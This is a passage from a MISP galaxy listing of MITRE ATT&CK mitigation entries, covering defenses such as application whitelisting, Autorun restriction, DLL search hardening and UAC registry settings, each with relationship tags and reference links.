mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 2687. Table References
Links
https://attack.mitre.org/mitigations/T1210
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

System Network Configuration Discovery Mitigation - T1016

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system’s network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Network Configuration Discovery Mitigation - T1016"

System Network Configuration Discovery Mitigation - T1016 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2688. Table References
Links
https://attack.mitre.org/mitigations/T1016
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Standard Application Layer Protocol Mitigation - T1071

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Standard Application Layer Protocol Mitigation - T1071"

Standard Application Layer Protocol Mitigation - T1071 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2689. Table References
Links
https://attack.mitre.org/mitigations/T1071
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Replication Through Removable Media Mitigation - T1091

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)

Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Replication Through Removable Media Mitigation - T1091"

Replication Through Removable Media Mitigation - T1091 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

Table 2690. Table References
Links
https://attack.mitre.org/mitigations/T1091
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Restrict File and Directory Permissions - M1022

Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.

The tag is: misp-galaxy:mitre-course-of-action="Restrict File and Directory Permissions - M1022"

Restrict File and Directory Permissions - M1022 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Plist Modification - T1150" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"

Table 2691. Table References
Links
https://attack.mitre.org/mitigations/M1022

Exploitation for Client Execution Mitigation - T1203

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Client Execution Mitigation - T1203"

Exploitation for Client Execution Mitigation - T1203 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 2692. Table References
Links
https://attack.mitre.org/mitigations/T1203
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Change Default File Association Mitigation - T1042

Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft’s best practices for file associations. (Citation: MSDN File Associations)

Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Change Default File Association Mitigation - T1042"

Change Default File Association Mitigation - T1042 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042" with estimative-language:likelihood-probability="almost-certain"

Table 2693. Table References
Links
https://attack.mitre.org/mitigations/T1042
https://msdn.microsoft.com/en-us/library/cc144156.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data from Removable Media Mitigation - T1025

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data from Removable Media Mitigation - T1025"

Data from Removable Media Mitigation - T1025 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"

Table 2694. Table References
Links
https://attack.mitre.org/mitigations/T1025
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exfiltration Over Physical Medium Mitigation - T1052

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Physical Medium Mitigation - T1052"

Exfiltration Over Physical Medium Mitigation - T1052 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"

Table 2695. Table References
Links
https://attack.mitre.org/mitigations/T1052
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx

Obfuscated Files or Information Mitigation - T1027

Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)

Mitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.

The tag is: misp-galaxy:mitre-course-of-action="Obfuscated Files or Information Mitigation - T1027"

Obfuscated Files or Information Mitigation - T1027 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2696. Table References
Links
https://attack.mitre.org/mitigations/T1027
https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc

Communication Through Removable Media Mitigation - T1092

The tag is: misp-galaxy:mitre-course-of-action="Communication Through Removable Media Mitigation - T1092"

Communication Through Removable Media Mitigation - T1092 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"

Table 2697. Table References
Links
https://attack.mitre.org/mitigations/T1092
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx

File and Directory Discovery Mitigation - T1083

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="File and Directory Discovery Mitigation - T1083"

File and Directory Discovery Mitigation - T1083 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2698. Table References
Links
https://attack.mitre.org/mitigations/T1083
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

DLL Search Order Hijacking Mitigation - T1038

Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user’s home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: misp-galaxy:mitre-course-of-action="DLL Search Order Hijacking Mitigation - T1038"

DLL Search Order Hijacking Mitigation - T1038 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"

Table 2699. Table References
Links
https://attack.mitre.org/mitigations/T1038
http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx
http://msdn.microsoft.com/en-US/library/ms682586
https://github.com/mattifestation/PowerSploit
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

File System Permissions Weakness Mitigation - T1044

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC’s privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.

The tag is: misp-galaxy:mitre-course-of-action="File System Permissions Weakness Mitigation - T1044"

File System Permissions Weakness Mitigation - T1044 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"

Table 2700. Table References
Links
https://attack.mitre.org/mitigations/T1044
https://github.com/mattifestation/PowerSploit
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://seclists.org/fulldisclosure/2015/Dec/34

Exfiltration Over Alternative Protocol Mitigation - T1048

Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.

The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Alternative Protocol Mitigation - T1048"

Exfiltration Over Alternative Protocol Mitigation - T1048 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 2701. Table References
Links
https://attack.mitre.org/mitigations/T1048
https://technet.microsoft.com/en-us/library/cc700828.aspx
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

System Network Connections Discovery Mitigation - T1049

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Network Connections Discovery Mitigation - T1049"

System Network Connections Discovery Mitigation - T1049 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 2702. Table References
Links
https://attack.mitre.org/mitigations/T1049
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Service Registry Permissions Weakness Mitigation - T1058

Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: misp-galaxy:mitre-course-of-action="Service Registry Permissions Weakness Mitigation - T1058"

Service Registry Permissions Weakness Mitigation - T1058 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058" with estimative-language:likelihood-probability="almost-certain"

Table 2703. Table References
Links
https://attack.mitre.org/mitigations/T1058
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Indicator Removal from Tools Mitigation - T1066

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Indicator Removal from Tools Mitigation - T1066"

Indicator Removal from Tools Mitigation - T1066 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"

Table 2704. Table References
Links
https://attack.mitre.org/mitigations/T1066
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Privilege Escalation Mitigation - T1068"

Exploitation for Privilege Escalation Mitigation - T1068 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 2705. Table References
Links
https://attack.mitre.org/mitigations/T1068
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Bypass User Account Control Mitigation - T1088

Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)

The tag is: misp-galaxy:mitre-course-of-action="Bypass User Account Control Mitigation - T1088"

Bypass User Account Control Mitigation - T1088 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Table 2706. Table References
Links
https://attack.mitre.org/mitigations/T1088
https://github.com/hfiref0x/UACME

Exploitation for Defense Evasion Mitigation - T1211

The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Defense Evasion Mitigation - T1211"

Exploitation for Defense Evasion Mitigation - T1211 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"

Table 2707. Table References
Links
https://attack.mitre.org/mitigations/T1211
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Extra Window Memory Injection Mitigation - T1181

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Extra Window Memory Injection Mitigation - T1181"

Extra Window Memory Injection Mitigation - T1181 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"

Table 2708. Table References
Links
https://attack.mitre.org/mitigations/T1181
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exploitation for Credential Access Mitigation - T1212

The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Credential Access Mitigation - T1212"

Exploitation for Credential Access Mitigation - T1212 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

Table 2709. Table References
Links
https://attack.mitre.org/mitigations/T1212
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Component Object Model Hijacking Mitigation - T1122

Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Component Object Model Hijacking Mitigation - T1122"

Component Object Model Hijacking Mitigation - T1122 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"

Table 2710. Table References
Links
https://attack.mitre.org/mitigations/T1122
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data from Information Repositories Mitigation - T1213

To mitigate adversary access to information repositories for collection:

Develop and publish policies that define acceptable information to be stored
Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
Enforce the principle of least-privilege
Periodic privilege review of accounts
Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories

The tag is: misp-galaxy:mitre-course-of-action="Data from Information Repositories Mitigation - T1213"

Data from Information Repositories Mitigation - T1213 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 2711. Table References
Links
https://attack.mitre.org/mitigations/T1213

Kernel Modules and Extensions Mitigation - T1215

Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.

LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.

Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)

The tag is: misp-galaxy:mitre-course-of-action="Kernel Modules and Extensions Mitigation - T1215"

Kernel Modules and Extensions Mitigation - T1215 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"

Table 2712. Table References
Links
https://attack.mitre.org/mitigations/T1215
http://rkhunter.sourceforge.net
http://www.chkrootkit.org/
https://patchwork.kernel.org/patch/8754821/

Network Share Connection Removal Mitigation - T1126

Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).

Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Network Share Connection Removal Mitigation - T1126"

Network Share Connection Removal Mitigation - T1126 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"

Table 2713. Table References
Links
https://attack.mitre.org/mitigations/T1126
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

